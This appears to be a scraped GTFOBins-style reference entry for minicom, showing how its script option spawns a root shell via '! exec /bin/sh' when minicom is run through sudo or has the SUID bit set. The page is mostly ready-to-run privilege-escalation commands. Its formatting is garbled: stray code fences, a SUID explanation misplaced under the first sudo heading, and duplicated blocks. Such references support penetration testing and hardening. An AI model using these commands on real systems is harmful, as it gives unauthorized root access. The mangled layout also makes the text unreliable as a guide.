Sudo

```
minicom -D /dev/null
```

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

minicom -D /dev/null -S /path/to/temp-file
reset^J
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file
minicom -D /dev/null -S /path/to/temp-file
reset^J
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file
minicom -D /dev/null -S /path/to/temp-file
reset^J
```
